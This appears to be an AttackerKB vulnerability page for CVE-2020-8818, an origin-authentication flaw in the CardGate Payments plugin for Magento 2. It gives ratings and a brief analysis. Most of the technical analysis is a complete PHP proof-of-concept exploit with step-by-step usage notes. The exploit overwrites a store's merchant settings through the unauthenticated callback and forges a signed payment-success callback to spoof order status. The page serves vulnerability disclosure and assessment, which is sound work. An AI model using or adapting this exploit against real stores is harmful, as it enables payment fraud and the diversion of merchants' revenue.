Low
CVE-2020-8818
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2020-8818
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue was discovered in the CardGate Payments plugin through 2.0.30 for Magento 2. Lack of origin authentication in the IPN callback processing function in Controller/Payment/Callback.php allows an attacker to remotely replace critical plugin settings (merchant ID, secret key, etc.) and therefore bypass the payment process (e.g., spoof an order status by manually sending an IPN callback request with a valid signature but without real payment) and/or receive all of the subsequent payments.
Add Assessment
Ratings
-
Attacker ValueLow
-
ExploitabilityMedium
Technical Analysis
This is related to https://attackerkb.com/topics/cve-2020-8819 It is the same plugin for a different platform and is vulnerable to the same
Magento does not provide an indication of how many websites have the plugins installed, but using the WooCommerce as a guide it is expected to be relatively low ~ 500 installs.
POC code is available in the github repo as part of the disclosure and is replicated at the end of this analysis for convenience.
At the time of this analysis, the Magento MarketPlace was still serving a vulnerable version. 2.0.30 – https://marketplace.magento.com/cardgate-magento2.html
<?php /* Usage: 1. Change values of the constants (see below for TARGET & ORDER*) 2. Host this script somewhere (must be public accessible) 3. Register a merchant at https://cardgate.com 4. Sign into "My CardGate" dashboard 5. Add fake site or choose existing one 6. Click "Setup your Webshop" button in site preferences 7. Paste the URL of this script into the pop-up window and click "Save" 8. The target store now uses the settings of your site, enjoy :] P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop. */ // -------- Options (start) -------- define('TARGET', 'http://domain.tld'); // without trailing slash, pls define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection) define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above) define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional) // --------- Options (end) --------- define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/'); define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/'); /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sToken_ * @param bool $bTestmode_ * @return string */ function pullConfig($sToken_, $bTestmode_ = FALSE) { if (!is_string($sToken_)) { throw new Exception('invalid token for settings pull: ' . $sToken_); } $sResource = "pullconfig/{$sToken_}/"; $sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource; $rCh = curl_init(); curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json' ]); if ($bTestmode_) { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); } else { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2); } if (FALSE == ($sResults = curl_exec($rCh))) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } if (NULL === ($aResults = json_decode($sResults, TRUE))) { throw new Exception('remote gave invalid JSON: ' . $sResults); } if (isset($aResults['error'])) { throw new Exception($aResults['error']['message']); } return $aResults; } /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sUrl * @param array $aData_ * @param string $sHttpMethod_ * @return string */ function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') { if (!in_array($sHttpMethod_, ['GET', 'POST'])) { throw new Exception('invalid http method: ' . $sHttpMethod_); } $rCh = curl_init(); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); if ('POST' == $sHttpMethod_) { curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_POST, TRUE); curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_)); } else { $sUrl = $sUrl . (FALSE === strchr($sUrl, '?') ? '?' : '&') . http_build_query($aData_) ; curl_setopt($rCh, CURLOPT_URL, $sUrl); } $response = curl_exec($rCh); if (FALSE == $response) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } return $response; } if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) { try { $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']); $aConfigData = $aResult['pullconfig']['content']; $response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET'); if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') { if (ORDER) { $payload = [ 'testmode' => $_REQUEST['testmode'], 'reference' => ORDER, 'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)), 'currency' => ORDER_CURRENCY, 'amount' => ORDER_AMOUNT * 100, 'status' => 'success', 'code' => 200, 'pt' => ORDER_PAYMENT_TYPE ]; $payload['hash'] = md5( (!empty($payload['testmode']) ? 'TEST' : '') . $payload['transaction'] . $payload['currency'] . $payload['amount'] . $payload['reference'] . $payload['code'] . $aConfigData['site_key'] ); $response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET'); if ($response == $payload['transaction'] . '.' . $payload['code']) { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } else { throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)"); } } else { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } } else { throw new Exception("It seems target is not vulnerable ($response)"); } } catch (\Exception $oException_) { die(htmlspecialchars($oException_->getMessage())); } }
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- adobe,
- cardgate
Products
- cardgate payments,
- magento 2.3.4
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: